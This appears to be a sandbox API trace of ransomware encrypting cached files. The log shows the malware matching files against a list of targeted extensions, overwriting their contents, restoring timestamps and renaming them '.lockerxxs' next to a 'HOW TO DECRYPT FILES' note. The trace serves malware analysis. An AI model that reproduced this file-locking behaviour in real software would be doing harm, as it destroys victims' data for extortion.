ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x848, lpOverlapped=0x0) returned 1 [0084.262] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg") returned="BBC02Gr[1].jpg" [0084.262] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.262] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x848, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x848, lpOverlapped=0x0) returned 1 [0084.262] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.262] CloseHandle (hObject=0xa4) returned 1 [0084.262] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc02gr[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc02gr[1].jpg.lockerxxs")) returned 1 [0084.263] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5392ab50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5392ab50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5392ab50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x86e, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBC02Gr[2].jpg", cAlternateFileName="BBC02G~2.JPG")) returned 1 [0084.264] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.264] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBC02Gr[2].jpg") returned 1 [0084.264] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBC02Gr[2].jpg") returned 1 [0084.264] lstrcmpiA (lpString1="", lpString2="BBC02Gr[2].jpg") returned -1 [0084.264] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg") returned="BBC02Gr[1].jpg" [0084.264] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.264] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.264] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.264] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.264] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBC02Gr[2].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg" [0084.264] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg", pszSpec="*.ems") returned 0 [0084.264] lstrlenA (lpString="*.ems") returned 5 [0084.264] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg", pszSpec="*.db") returned 0 [0084.264] lstrlenA (lpString="*.db") returned 4 [0084.264] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg", pszSpec="*.dbf") returned 0 [0084.264] lstrlenA (lpString="*.dbf") returned 5 [0084.264] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg", pszSpec="*.myox") returned 0 [0084.264] lstrlenA (lpString="*.myox") returned 6 [0084.265] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg", pszSpec="*.myo") returned 0 [0084.265] lstrlenA (lpString="*.myo") returned 5 [0084.265] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg", pszSpec="*.qbw") returned 0 [0084.265] lstrlenA (lpString="*.qbw") returned 5 [0084.265] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg", pszSpec="*.qbb") returned 0 [0084.265] lstrlenA (lpString="*.qbb") returned 5 [0084.265] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg", pszSpec="*.qbm") returned 0 [0084.265] lstrlenA (lpString="*.qbm") returned 5 [0084.265] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg", pszSpec="*.qbo") returned 0 [0084.265] lstrlenA (lpString="*.qbo") returned 5 [0084.265] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg", pszSpec="*.qbx") returned 0 [0084.265] lstrlenA (lpString="*.qbx") returned 5 [0084.265] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg", pszSpec="*.qba") returned 0 [0084.265] lstrlenA (lpString="*.qba") returned 5 [0084.265] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg", pszSpec="*.qby") returned 0 [0084.265] lstrlenA (lpString="*.qby") returned 5 [0084.265] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg", pszSpec="*.qbj") returned 0 [0084.265] lstrlenA (lpString="*.qbj") returned 5 [0084.265] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg", pszSpec="*.ofx") returned 0 [0084.265] lstrlenA (lpString="*.ofx") returned 5 [0084.265] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg", pszSpec="*.qif") returned 0 [0084.265] lstrlenA (lpString="*.qif") returned 5 [0084.265] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg", pszSpec="*.mye") returned 0 [0084.265] lstrlenA (lpString="*.mye") returned 5 [0084.266] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg", pszSpec="*.mbox") returned 0 [0084.266] lstrlenA (lpString="*.mbox") returned 6 [0084.266] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg", pszSpec="*.eml") returned 0 [0084.266] lstrlenA (lpString="*.eml") returned 5 [0084.266] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg", pszSpec="*.pst") returned 0 [0084.266] lstrlenA (lpString="*.pst") returned 5 [0084.266] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg", pszSpec="*.ost") returned 0 [0084.266] lstrlenA (lpString="*.ost") returned 5 [0084.266] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg", pszSpec="*.idx") returned 0 [0084.266] lstrlenA (lpString="*.idx") returned 5 [0084.266] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg", pszSpec="*.dbx") returned 0 [0084.266] lstrlenA (lpString="*.dbx") returned 5 [0084.266] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg", pszSpec="*.sql") returned 0 [0084.266] lstrlenA (lpString="*.sql") returned 5 [0084.266] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg", pszSpec="*.mdb") returned 0 [0084.266] lstrlenA (lpString="*.mdb") returned 5 [0084.266] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg", pszSpec="*.fdb") returned 0 [0084.266] lstrlenA (lpString="*.fdb") returned 5 [0084.266] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg", pszSpec="*.wab") returned 0 [0084.266] lstrlenA (lpString="*.wab") returned 5 [0084.266] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg", pszSpec="*.dat") returned 0 [0084.266] lstrlenA (lpString="*.dat") returned 5 [0084.266] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg", pszSpec="*.txt") returned 0 [0084.266] lstrlenA (lpString="*.txt") returned 5 [0084.267] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg", pszSpec="*.jpeg") returned 0 [0084.267] lstrlenA (lpString="*.jpeg") returned 6 [0084.267] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg", pszSpec="*.jpg") returned 1 [0084.267] lstrlenA (lpString="*.jpg") returned 5 [0084.267] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg" [0084.267] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg" [0084.267] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg." [0084.267] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg.lockerxxs" [0084.267] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc02gr[2].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.268] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x86e [0084.268] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x5392ab50, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x5392ab50, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x5392ab50, dwHighDateTime=0x1d2dd9e)) returned 1 [0084.268] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.268] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x848, lpOverlapped=0x0) returned 1 [0084.270] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg") returned="BBC02Gr[2].jpg" [0084.270] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.270] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x848, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x848, lpOverlapped=0x0) returned 1 [0084.270] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.271] CloseHandle (hObject=0xa4) returned 1 [0084.271] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc02gr[2].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc02gr[2].jpg.lockerxxs")) returned 1 [0084.272] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52fa5350, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52fa5350, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52fa5350, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x89a, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBC03B1[1].jpg", cAlternateFileName="BBC03B~1.JPG")) returned 1 [0084.272] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.272] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBC03B1[1].jpg") returned 1 [0084.272] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBC03B1[1].jpg") returned 1 [0084.272] lstrcmpiA (lpString1="", lpString2="BBC03B1[1].jpg") returned -1 [0084.272] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg") returned="BBC02Gr[2].jpg" [0084.272] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.272] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.272] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.272] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.273] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBC03B1[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg" [0084.273] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg", pszSpec="*.ems") returned 0 [0084.273] lstrlenA (lpString="*.ems") returned 5 [0084.273] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg", pszSpec="*.db") returned 0 [0084.273] lstrlenA (lpString="*.db") returned 4 [0084.273] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg", pszSpec="*.dbf") returned 0 [0084.273] lstrlenA (lpString="*.dbf") returned 5 [0084.273] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg", pszSpec="*.myox") returned 0 [0084.273] lstrlenA (lpString="*.myox") returned 6 [0084.273] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg", pszSpec="*.myo") returned 0 [0084.273] lstrlenA (lpString="*.myo") returned 5 [0084.273] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg", pszSpec="*.qbw") returned 0 [0084.273] lstrlenA (lpString="*.qbw") returned 5 [0084.273] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg", pszSpec="*.qbb") returned 0 [0084.273] lstrlenA (lpString="*.qbb") returned 5 [0084.273] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg", pszSpec="*.qbm") returned 0 [0084.273] lstrlenA (lpString="*.qbm") returned 5 [0084.273] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg", pszSpec="*.qbo") returned 0 [0084.273] lstrlenA (lpString="*.qbo") returned 5 [0084.273] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg", pszSpec="*.qbx") returned 0 [0084.273] lstrlenA (lpString="*.qbx") returned 5 [0084.273] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg", pszSpec="*.qba") returned 0 [0084.274] lstrlenA (lpString="*.qba") returned 5 [0084.274] PathMatchSpecA 